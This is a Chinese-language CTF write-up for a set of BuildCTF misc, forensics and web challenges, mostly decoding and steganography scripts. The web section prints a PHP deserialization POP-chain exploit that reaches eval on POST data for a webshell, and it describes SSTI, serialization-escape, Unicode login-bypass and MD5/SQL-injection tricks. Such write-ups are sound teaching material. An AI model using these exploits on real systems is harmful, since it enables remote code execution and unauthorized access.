BuildCTF部分题目wp
队员:sorin
- EZ_ZIP
010查找分析发现压缩包,使用foremost分离
疑似套娃压缩包,使用开源软件extractnow或者脚本都可以批量压缩,这里使用extractnow
得到flag
- HEX的秘密
16进制每两位截取一次转10进制,对比Build的前几个字符的ascll码发现多了128,脚本如下:
def hex_str(str):#对字符串进行切片操作,每两位截取
hex_str_list=[]
for i in range(0,len(str)-1,2):
hex_str=str[i:i+2]
hex_str_list.append(hex_str)
print("hex列表:%s\n"%hex_str_list)
hex_to_str(hex_str_list)
def hex_to_str(hex_str_list):
int_list=[]
dec_list=[]
flag=''
for i in range(0,len(hex_str_list)):#把16进制转化为10进制
int_str=int('0x%s'%hex_str_list[i],16)
int_list.append(int_str)
dec_list.append(int_str-128)#-128得到正确的ascii码
for i in range(0,len(dec_list)):#ascii码转化为字符串
flag += chr(dec_list[i])
print("转化为十进制int列表:%s\n"%int_list)
print("-128得到ASCII十进制dec列表:%s\n"%dec_list)
print('最终答案:%s'%flag)
if __name__=='__main__':
str='c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd'
print("字符串长度:%s"%len(str))
hex_str(str)
运行即可
- what is this?
打开发现是一大串二进制码
转16进制
6363632c70707070702c6363707063702c702c636363632c63707070702c6363632c6363707063702c63707070702c63636363632c6363707063702c70702c70707070702c6370632c63636363632c632c6363707063702c706370632c70707070702c7063632c632c6363707063702c7063706370702c706370637070
转ascll:
逗号分割,两个字符,怀疑是摩斯,用在线网站:
https://morsecodemagic.com/zh/%e8%87%aa%e5%ae%9a%e4%b9%89%e6%91%a9%e5%b0%94%e6%96%af%e7%94%b5%e7%a0%81/
得到flag
- 别真给我开盒了哥
打开是一张道路图,重点关注路牌
信息有北京1km,右转去德州,S3901,出口60
在地图上搜索S3901
是京德高速,在b站上可以找到很新的高速pov
观察路段并没有发现出口60,且观察到主路上每个出口间的数字跳转很大,猜测可能路牌在其他路进入京德高速的路口上,很容易观察到在京德高速旁边有一条刚好旁边有铁路的道路S3700津雄高速
在b站上可以找到pov
成功找到路牌,确定位置,观察旁边的铁路
取津保铁路提交
- 四妹你听我解释
010打开末尾发现异常,提取txt
获得一部分密文,结合图片信息,进行宽高爆破
获得后半部分,社会主义核心价值观解密得到flag
- 四妹?还是萍萍呢?
解压发现是一些拼图和一个png图片
010分析发现password字眼
且IDAT块后面是0304,怀疑是压缩包,补上504B后用foremost提取
成功提取zip,提示公众号回复password
拼图得到
公众号回复得到St7wg.
解压得到base64格式的乱码
用随波逐流转png格式得到图片
010分析提示crc错误,直接爆破crc修复宽高得到
- 如果再来一次,还会选择我吗?
010分析发现png格式两两倒转
提取为hex.txt,用记事本查找功能去除空格
脚本如下:
def reverse_hex_groups(input_file, output_file='flag.txt'):
try:
# 打开并读取输入文件
with open(input_file, 'r') as file:
hex_string = file.read().strip() # 去除首尾空白符或换行符
# 处理字符串:每两个字符为一组,然后每读取两组反转一次
result = []
for i in range(0, len(hex_string), 4): # 每次跳过4个字符
# 取出四个字符并反转前两组与后两组的位置
group = hex_string[i:i+4]
if len(group) == 4:
reversed_group = group[2:] + group[:2]
result.append(reversed_group)
else:
# 如果最后不足4个字符,则直接添加剩余部分
result.append(group)
# 将结果列表转换为字符串
processed_hex = ''.join(result)
# 将处理后的字符串写入输出文件
with open(output_file, 'w') as file:
file.write(processed_hex)
print(f"处理完成,结果已保存至 {output_file}")
reverse_hex_groups('hex.txt')
得到正常文件
使用脚本移除换行符
# 读取文件并去除换行符
with open('flag.txt', 'r') as file:
content = file.read().replace('\n', '')
# 将处理后的内容写回文件
with open('flag.txt', 'w') as file:
file.write(content)
print("换行符已成功移除!")
得到
赛博厨子直接恢复文件
得到
用密码解压得到
损坏的条形码
这里分享一个能够自动检测修复条形码的网站
https://products.aspose.app/barcode/zh-hans/recognize#
这里顶着一大堆红线直接干出来了(不是
8、白白的真好看
解压得到
这边从docx文件入手,解除隐藏+改变字体颜色得到
接下来是0宽字符隐写,用在线网站
https://www.mzy0.com/ctftools/zerowidth1/
获得第二部分
接下来关注“公众号回复雪试试呢.png”文件,了解信息得到该图片为汉信码
https://tuzim.net/zxdecode/
解码得到
通过文件名“公众号”可知,该网址是由微信授权的,应当用微信能够解码的方式打开,于是将该解码内容加密为二维码
,
微信扫码回复雪得到密码snowsnow
解码可得第三部分 _1s_n0t_wh1t3}
9、LovePopChain
打开网站是一个经典的反序列化漏洞
链子如下:
<?php
class MyObject{
public $NoLove;
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
$M=new MyObject();
$M->NoLove=new hybcx();
$M->NoLove->Si=new MyObject();
$M->NoLove->Si->Forgzy=new GaoZhouYue();
echo urlencode(serialize($M));
?>
成功回显,这边要注意,No_Need.For.Love在赋值的时候务必要把_转成[,因为在传递参数时,’[‘会因为找不到’]’而被编成_,并连带这后面的字符一起原封不动的传递,这样就避免了后面的.在传参的过程中出现问题
直接使用蚁剑连接
得到flag
- RedFlag
过滤了小括号,但是很重要的是它将flag放在config当中
使用内置函数url_for可以很好的绕过限制
传参
观察到
current应该指的是当前app,直接访问当前app的config
- Why_so_serials?
打开网站
很经典的反序列化逃逸
这里我们需要通过joker到batman的增加字符覆盖crime的内容,让它变成true
也就是让city的序列化内容
中的0变成1,观察到要覆盖的内容的字数为19,即joker19次,所以最终的payload为:
成功逃逸
- eazyl0gin
Node.js的大小写替换漏洞
使用特殊字符 ı 可以在转换大写时转化为I,从而绕过
密码直接在线网站破解md5得到012346
得到
13、ez_md5
进入页面
Sql加MD5,可以使用特殊值ffifdyop绕过
前两个参数直接使用数组绕过,第三个参数根据提示访问robots.txt得到
Hashcat爆破得到密码1145146803531
所以最终payload为(同样注意赋值传参问题
14、find-the-id
直接使用yakit抓包爆破